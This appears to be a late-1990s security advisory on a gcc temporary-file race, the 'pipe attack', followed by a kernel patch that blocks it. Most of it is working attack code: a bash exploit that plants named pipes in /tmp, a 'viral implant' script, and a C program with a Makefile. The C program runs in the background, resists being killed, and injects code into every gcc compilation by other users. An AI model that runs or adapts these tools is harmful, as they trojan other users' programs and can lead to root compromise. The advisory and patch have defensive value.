COMMAND

    pipe attack

SYSTEMS AFFECTED

    Do you have gcc, mail or similar?  You are.

PROBLEM

    Michal Zalewski  found following.   Typical "[symbolic|hard]  link
    bug" is  a vunerability,  which allows  user X  to overwrite files
    owned by  Y (with  useless portion  of junk)  when Y launchs buggy
    program.  But this trivial  (and often ignored) attack method  can
    be easily turned into a cute, powerful weapon.  Here's an  example
    how  to  perform  advanced  exploitation  ("pipe  attack")  of gcc
    symlink  bug  (this  tool  was  choosen  because  this  problem is
    well-known and  it's pretty  easy to  fix). Original  exploit code
    can be found as 'gcc' on Security Bugware mUNIXes page.

    First of all, we need to fix our exploit by replacing symlink with
    named pipe. What for? Be patient:

    #!/bin/bash
    # Advanced GCC exploit
    echo "Advanced GCC exploit running."
    renice +20 $PPID >&/dev/null
    cd /tmp
    while :; do
      V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`
      if [ ! "$V" = "" ]; then
	mkfifo ${V}.s
	chmod 666 ${V}.s
	bash
      fi
    done

    As you can see, new exploit is even smaller and quite useless.  So
    why shouldn't we launch it...

	$ ./adc-gcc
	Advanced GCC exploit running.
	[...]

    Ok, it's running somewhere in a background... Now, other user  (Y)
    launchs gcc to compile something.   His gcc hangs trying to  write
    compiled junk  into a  pipe created  by exploit,  and our  exploit
    drops us into a shell:

	[...]
	Advanced GCC exploit running.
	$ ls
	cca02091.i cca02091.s [...other stuff...]

    Now, we  may modify  preprocessed cca02091.i  file.   Michal added
    line 'printf("Hello, dude.\n");' using vim at the begining of main
    function, and finally saved modified code as "myjunk.i".  Our user
    probably grows impatient,  so it's time  to serve our  dish of the
    day... First, we should flush pipe:

	$ cat cca02091.s >junk2.s

    That's perfect,  gcc wrote  everything successfully,  and now it's
    trying to read it back from pipe.  So why shouldn't we give him  a
    chance?  Michal precompiled myjunk.i using cc1 (it's location  may
    vary, but  it MUST  be somewhere;  you may  locate it by executing
    "ps auxhw|grep  cc1" meantime).   If you're  unable to  read cc*.i
    file, bacause user's umask is set  to eg. 077 - don't worry!   You
    may modify asm code directly.   Just edit "junk2.s".  After  that,
    you don't have to use cc1.

    Let's see, what we have here?  A gcc compiler happily waiting  for
    compiled portion  of asm  stuff at  the second  end of pipe... And
    compiled  code,  but  modified  a  little...  So  there's only one
    solution:

	$ cat myjunk.s >cca02091.s
	(or "cat junk2.s >cca02091.s" if you changed asm code directly)

    Kaboom!  Gcc finished it work (hopefully everything went OK).  Now
    user have it's program,  but with OUR trojan  code!  What he  does
    now?  Launchs it, or...

	$ make
	$ su -
	Password:
	# make install

    Whoops!   Due  to  the  questions  about possibility of performing
    'pipe  attacks'  -  there's  *working*  example  of program, which
    appends  function  printf("This  program  has  been infected!\n");
    after  declarations  in  the  main()  function to sources compiled
    using gcc.  Ok, here it is:

    #!/bin/bash
    # Advanced gcc viral implant 1.1
    # Michal Zalewski (lcamtuf@staszic.waw.pl)
    # ** DO NOT DISTRIBUTE **

    CC1=`find /usr/lib/gcc-lib -name cc1`

    renice +20 $$ >&/dev/null
    cd /tmp

    echo "I'm free, I'm free! Oh, I'm free..."

    while :; do
      V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`
      if [ ! "$V" = "" ]; then
	mkfifo -m 666 ${V}.s &>/dev/null
	if [ -p ${V}.s ]; then
	  sleep 1
	  cat ${V}.i|awk 'match($2,"main")==1{x=1};y!=1&&x==1&&match($1,"\\(")>0&&match($2,"main")==0{y=1;print "printf(\"This program has been infected!\\n\");"};{print $0}'>.lv$$.i
	  $CC1 .lv$$.i
	  cat ${V}.s>/dev/null
	  cat .lv$$.s >${V}.s
	  echo "Got ya ("`head -1 ${V}.i|awk '{printf $3}'`")."
	fi
	sleep 1
	rm -f .lv$$.* ${V}.s &>/dev/null
      fi
    done

    Newer version of  'pipe exploit' follows,  this time in  c.  Shell
    script was too slow, this one catchs every compilation process.

    -- Makefile --

    CC      = gcc
    OPTS    = -O3
    CC1     = `find /usr/lib/gcc-lib -name cc1`

    all: evil

    evil: evil.c
	    $(CC) -o evil evil.c $(OPTS) -DCC1=\"$(CC1)\"

    clean:
	    rm -f evil

    -- evil.c --

    /*
      Another gcc exploit by Michal Zalewski <lcamtuf@staszic.waw.pl>
      ---------------------------------------------------------------
      = for educational purposes only, please don't abuse it anyway =

      Installation:
	make; ./evil

      Killing:
	rm /tmp/.myson

      Advantages:
	- now it's even faster and even more usable,
	- pipe timeout has been implemented,
	- auto-background mode, almost unkillable,
	- /tmp lockfile.

      Disadvantages:
	- incerased CPU usage,
	- smart skipping of 'dead' *.i files isn't implemented (yet),
	- it still modifies only *.i files, not asm code directly,
	- dirty code ;)

      To do:
	- smart *.i skipping (function kaboom + string array),
	- assembler code analysis,
	- process-activated scandir() (to decerase cpu usage).

    */

    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <signal.h>
    #include <stdlib.h>
    #include <dirent.h>

    #ifndef CC1
    #error - Please use make to compile me.
    #endif

    #define CHECKPOINT ".myboy"
    #define TIMEOUT 5

    int pass=1;
    char buf[1000];

    void kaboom(int x)
    {
      // Nope yet.
      system("kill -9 `ps|grep \"cca\"|awk '{print $1}'` &>/dev/null");
    }

    int infect(struct dirent *s)
    {
      if ((strncmp("cca",s->d_name,3)!=0)) {
	if (!(strncmp(s->d_name,CHECKPOINT,6))) pass=1;
	return -1;
      }
      if (s->d_name[9]!='i') return -1;
      s->d_name[9]='s';
      mknod(s->d_name, 0666 | S_IFIFO,0);
      s->d_name[9]='i';
      signal(SIGALRM,kaboom);
      // Ripped from sh version :)
      sprintf(buf,"cat %s|awk 'match($2,\"main\")==1{x=1};y!=1&&x==1&&match"
		  "($1,\"\\\\(\")>0&&match($2,\"main\")==0{y=1;print \" printf"
		  "(\\\"\\\\n*** THIS PROGRAM HAS BEEN INFECTED ***\\\\n\\\\n"
		  "\\\"); \"};{print $0}'>.%s; " CC1 " .%s &>/dev/null;rm -f %s"
		  " .%s &>/dev/null",s->d_name,s->d_name,s->d_name,s->d_name,
		  s->d_name);
      alarm(TIMEOUT);
      system(buf);
      alarm(0);
      s->d_name[9]='s';
      signal(SIGALRM,kaboom);
      sprintf(buf,"cat %s >/dev/null;cat .%s >%s;rm -f %s .%s &>/dev/null",
		  s->d_name,s->d_name,s->d_name,s->d_name,s->d_name);
      alarm(TIMEOUT);
      system(buf);
      alarm(0);
      sleep(1);
      return -1;
    }

    int foo(struct dirent **a,struct dirent **b)
    {
      // Nope.
    }

    int main(int argc, char* argv[])
    {
      int a=0;
      struct dirent **x;
      printf("Forking into background...\n");
      if (fork()) exit(0);
      if (open("/tmp/" CHECKPOINT ,O_RDONLY)<0) {
	close(open("/tmp/" CHECKPOINT,O_CREAT));
      } else {
	printf("Am I already active? Try again NOW.\n");
	system("rm -f /tmp/" CHECKPOINT " &>/dev/null");
	return 0;
      }
      chdir("/tmp");
      umask(0);
      for (;a<25;a++) signal(a,SIG_IGN);
      while (pass) {
	pass=0;
	scandir("/tmp",&x,infect,foo);
      }
      printf("Aghhrrr, I'm dying!!!\n");
      return 0;
    }

SOLUTION

    How to protect  yourself? In this  case, it's quite  simple, check
    out   gcc.    But   that's   just   an   well-known   example   of
    'not-so-interesting symlink  bug'.   Almost any  symlink-vunerable
    program,  which  stores  any  data  (even PIDs) in their temporary
    files, may be exploited in that way (eg. not so easy to fix  gzexe
    problem).

    Currently,  recommendes  is  race-patch-2.0-supersafe  instead  of
    'regular'  version.   It  seems  to  work  properly  with  typical
    programs.  Probably soon it will be included into Solar Designer's
    'secure  linux'  package  (non-executable  stack+symlink fix+/proc
    patch+security levels+race patch). Here it is:

    -- race_patch-2.0-supersafe.patch --
    Super-safe race conditions patch
    Michal Zalewski <lcamtuf@staszic.waw.pl>
    Krzysztof G. Baranowski <kgb@manjak.knm.org.pl>

    --- linux-2.0.33/fs/namei.c.orig Sun Aug 17 01:23:19 1997
    +++ linux-2.0.33/fs/namei.c  Sat Feb 21 16:00:20 1998
    @@ -19,6 +19,7 @@
     #include <linux/fcntl.h>
     #include <linux/stat.h>
     #include <linux/mm.h>
    +#include <linux/config.h>

     #define ACC_MODE(x) ("\000\004\002\006"[(x)&O_ACCMODE])

    @@ -405,6 +406,13 @@
       iput(inode);
       return error;
      }
    + #ifdef CONFIG_RACE_FIX
    + if ((S_ISREG(inode->i_mode) || S_ISFIFO(inode->i_mode)) && (dir->
    + i_mode & S_ISVTX) && current->fsuid!=inode->i_uid && (flag & 2)) {
    +   iput(inode); /* security_alert("race"); */
    +   return -EPERM;
    + }
    + #endif /* CONFIG_RACE_FIX */
      if (S_ISFIFO(inode->i_mode) || S_ISSOCK(inode->i_mode)) {
       /*
	* 2-Feb-1995 Bruce Perens <Bruce@Pixar.com>
    --- linux-2.0.33/fs/Config.in.orig Sat Feb 21 14:37:18 1998
    +++ linux-2.0.33/fs/Config.in  Sat Feb 21 14:36:56 1998
    @@ -4,6 +4,9 @@
     mainmenu_option next_comment
     comment 'Filesystems'

    +if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then
    +  bool 'Super-safe race conditions patch (EXPERIMENTAL)' =
    CONFIG_RACE_FIX
    +fi
     bool  'Quota support' CONFIG_QUOTA
     tristate 'Minix fs support' CONFIG_MINIX_FS
     tristate 'Extended fs support' CONFIG_EXT_FS
    --- linux-2.0.33/Documentation/Configure.help.orig Sat Sep  6 05:43:58 1997
    +++ linux-2.0.33/Documentation/Configure.help  Sat Feb 21 15:22:43 1998
    @@ -2930,6 +2930,18 @@
       will skip detection and configuration after all.
       N.B. options are case sensitive.
       Read Documentation/cdrom/isp16 for details.
    + 
    +Super-safe race conditions patch
    +CONFIG_RACE_FIX
    +  'Super-safe race condition fix' disallows users to write files/pipes
    +  not owned by them in +t directories. This feature prevents typical
    +  'race attacks' and iproves your security. Our patch is experimental.
    +  If you're afraid about your security, say Y. Otherwise, if one
    +  of more of your programs stops working with this patch, say N, and
    +  immediately report noticed problems to us.
    +
    +  Authors: Michal Zalewski <lcamtuf@staszic.waw.pl>
    +           Krzysztof G. Baranowski <kgb@manjak.knm.org.pl>

     Quota support
     CONFIG_QUOTA
    -- end of file --